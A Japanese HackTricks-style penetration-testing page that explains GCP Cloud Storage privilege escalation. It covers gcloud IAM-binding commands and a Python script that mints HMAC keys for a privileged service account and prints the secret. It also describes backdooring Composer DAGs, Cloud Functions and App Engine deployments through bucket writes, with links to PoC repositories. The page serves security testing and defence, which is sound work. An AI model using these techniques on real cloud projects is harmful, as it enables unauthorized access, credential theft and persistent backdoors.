# GCP - Storage Privesc

{{#include ../../../banners/hacktricks-training.md}}

## ストレージ

基本情報:

{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}

### `storage.objects.get`

この権限により、**Cloud Storage内に保存されたファイルをダウンロード**できます。場合によっては**機密情報がそこに保存されている**ことがあるため、権限昇格につながる可能性があります。さらに、一部のGCPサービスは情報をバケットに保存します:

- **GCP Composer**: Composer Environmentを作成すると、**すべてのDAGのコード**が**バケット**内に保存されます。これらのタスクのコードには興味深い情報が含まれている場合があります。
- **GCR (Container Registry)**: コンテナの**image**は**バケット**に格納されているため、バケットを読み取れるとイメージをダウンロードして、**leaks**やソースコードを検索できます。

### `storage.objects.setIamPolicy`

この権限は、このセクションで述べた前述のシナリオのいずれかを**悪用する**ことを可能にします。
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

```
### **`storage.buckets.setIamPolicy`**

この権限を使って権限を変更する方法の例については、こちらのページを参照してください：
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}

### `storage.hmacKeys.create`

Cloud Storage の "interoperability" 機能は、AWS S3 のような **クロスクラウド間の相互操作** を目的としており、**Service Accounts と users のための HMAC keys の作成**を含みます。攻撃者はこれを悪用して、**権限の高い Service Account のための HMAC key を生成する**ことで、**Cloud Storage 内で権限をエスカレーション**できます。ユーザーに紐づく HMAC keys は web console 経由でのみ取得可能ですが、access と secret keys は **恒久的にアクセス可能** であり、バックアップ目的での保存に利用される可能性があります。これに対して Service Account に紐づく HMAC keys は API 経由で操作できますが、その access と secret keys は作成後に取得できないため、継続的なアクセス確保はより複雑になります。
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true
```
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).

### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions

バケット内に**新しいオブジェクトを作成する**には `storage.objects.create` が必要で、既存オブジェクトを**変更する**にはドキュメントによれば `storage.objects.delete` も必要です（参照: [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions)）。

バケットに書き込み権限がある場合の非常に**一般的な悪用例**は、**バケットがウェブサーバのファイルを保存している**ケースです。ここに**新しいコードを置く**ことで、ウェブアプリケーションからそのコードが利用され得ます。

### Composer

**Composer** は GCP 上で管理される **Apache Airflow** です。以下の興味深い特徴があります:

- **GKE cluster** 内で動作するため、クラスタが使う **SA** が Composer 内で動くコードから**アクセス可能**である。
- composer 環境の全コンポーネント（**DAGs のコード**、プラグイン、データ）は GCP のバケットに保存されます。攻撃者がそのバケットに対して読み書き権限を持っていれば、バケットを監視して**DAG が作成または更新されるたびに、バックドア入りのバージョンを差し替える**ことで composer 環境がストレージからバックドア版を取得するようにできます。

**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)

### Cloud Functions

- Cloud Functions のコードは Storage に保存され、新しいバージョンが作られるとコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすれば、Cloud Function に任意コードを実行させることが可能**です。

**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)

### App Engine

AppEngine のバージョンは `staging.<project-id>.appspot.com` という形式のバケット内にいくつかのデータを生成します。このバケット内には `ae` というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが格納され、それらのフォルダ内に `manifest.json` ファイルが存在します。このファイルには特定バージョンを作成するために使われる全ファイルの JSON が入っており、ファイルの実名、GCP バケット内での URL（バケット内のファイル名は sha1 ハッシュに変わっている）および各ファイルの sha1 ハッシュが含まれます。

_注意: GCP ユーザは appspot.com ドメイン名を使ってバケットを生成する権限がないため、このバケットを事前に作成しておくことはできません。_

しかし、このバケットに対する読み書きアクセスがある場合、`staging.<project-id>.appspot.com` バケットを監視して新しいバージョンが作られるたびに可能な限り素早くその新バージョンを改変することで、当該バージョンに紐づく SA への権限昇格が可能になります。こうして生成されるコンテナはバックドア入りのコードを実行します。

この攻撃は多様な方法で実施できます。いずれも `staging.<project-id>.appspot.com` バケットを監視することから始まります:

- AppEngine バージョンの完全な新コードを別の利用可能なバケットにアップロードし、新しいバケット名とファイルの sha1 ハッシュを含む **`manifest.json`** を準備する。バケット内で新バージョンが作成されたら、`manifest.json` を差し替えて悪意あるものをアップロードするだけです。
- 変更した `requirements.txt` をアップロードして、**悪意ある依存ライブラリのコードを利用**し、`manifest.json` に新しいファイル名、URL、ハッシュを反映させる。
- `main.py` や `app.yaml` を改変して**悪意あるコードを実行させる**ようにし、`manifest.json` を新しいファイル名、URL、ハッシュで更新する。

**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)

### GCR

- **Google Container Registry** はイメージをバケット内に保存します。もしこれらのバケットに**書き込み**できれば、後にそれらが実行される場所へ **横移動** できる可能性があります。
- GCR が使用するバケットの URL は `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` のようになります（トップレベルのサブドメインは [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) で指定されています）。

> [!TIP]
> このサービスは deprecated されているため、この攻撃は現在はあまり有用ではありません。さらに、このサービスの代替である Artifact Registry はイメージをバケットに保存しません。

## **References**

- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)

{{#include ../../../banners/hacktricks-training.md}}
